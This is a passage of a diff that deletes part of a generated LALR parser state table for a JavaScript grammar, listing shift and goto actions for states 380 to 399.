-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 429
-
-state 381
-
- 243) IterationStatement : DO Statement WHILE "(" _ Expr ")" ";"
- 244) IterationStatement : DO Statement WHILE "(" _ Expr ")" error
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 430
-
-state 382
-
- 245) IterationStatement : WHILE "(" Expr ")" _ Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 431
-
-state 383
-
- 198) AssignmentExprNoIn : LeftHandSideExpr AssignmentOperator _ AssignmentExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 432
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 306
-  BitwiseANDExprNoIn  go to state 307
-  BitwiseXORExprNoIn  go to state 308
-  BitwiseORExprNoIn  go to state 309
-  LogicalANDExprNoIn  go to state 310
-  LogicalORExprNoIn  go to state 311
-  ConditionalExprNoIn  go to state 312
-  AssignmentExprNoIn  go to state 433
-
-state 384
-
- 248) IterationStatement : FOR "(" LeftHandSideExpr IN _ Expr ")" Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 434
-
-state 385
-
- 132) RelationalExprNoIn : RelationalExprNoIn "<" _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 435
-
-state 386
-
- 133) RelationalExprNoIn : RelationalExprNoIn ">" _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 436
-
-state 387
-
- 134) RelationalExprNoIn : RelationalExprNoIn LE _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 437
-
-state 388
-
- 135) RelationalExprNoIn : RelationalExprNoIn GE _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 438
-
-state 389
-
- 136) RelationalExprNoIn : RelationalExprNoIn INSTANCEOF _ ShiftExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 439
-
-state 390
-
- 150) EqualityExprNoIn : EqualityExprNoIn EQEQ _ RelationalExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 440
-
-state 391
-
- 151) EqualityExprNoIn : EqualityExprNoIn NE _ RelationalExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 441
-
-state 392
-
- 152) EqualityExprNoIn : EqualityExprNoIn STREQ _ RelationalExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 442
-
-state 393
-
- 153) EqualityExprNoIn : EqualityExprNoIn STRNEQ _ RelationalExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 443
-
-state 394
-
- 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn "&" _ EqualityExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 444
-
-state 395
-
- 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn "^" _ BitwiseANDExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 306
-  BitwiseANDExprNoIn  go to state 445
-
-state 396
-
- 174) BitwiseORExprNoIn : BitwiseORExprNoIn "|" _ BitwiseXORExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 306
-  BitwiseANDExprNoIn  go to state 307
-  BitwiseXORExprNoIn  go to state 446
-
-state 397
-
- 180) LogicalANDExprNoIn : LogicalANDExprNoIn AND _ BitwiseORExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 306
-  BitwiseANDExprNoIn  go to state 307
-  BitwiseXORExprNoIn  go to state 308
-  BitwiseORExprNoIn  go to state 447
-
-state 398
-
- 186) LogicalORExprNoIn : LogicalORExprNoIn OR _ LogicalANDExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 140
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 306
-  BitwiseANDExprNoIn  go to state 307
-  BitwiseXORExprNoIn  go to state 308
-  BitwiseORExprNoIn  go to state 309
-  LogicalANDExprNoIn  go to state 448
-
-state 399
-
- 192) ConditionalExprNoIn : LogicalORExprNoIn "?" _ AssignmentExprNoIn ":" AssignmentExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
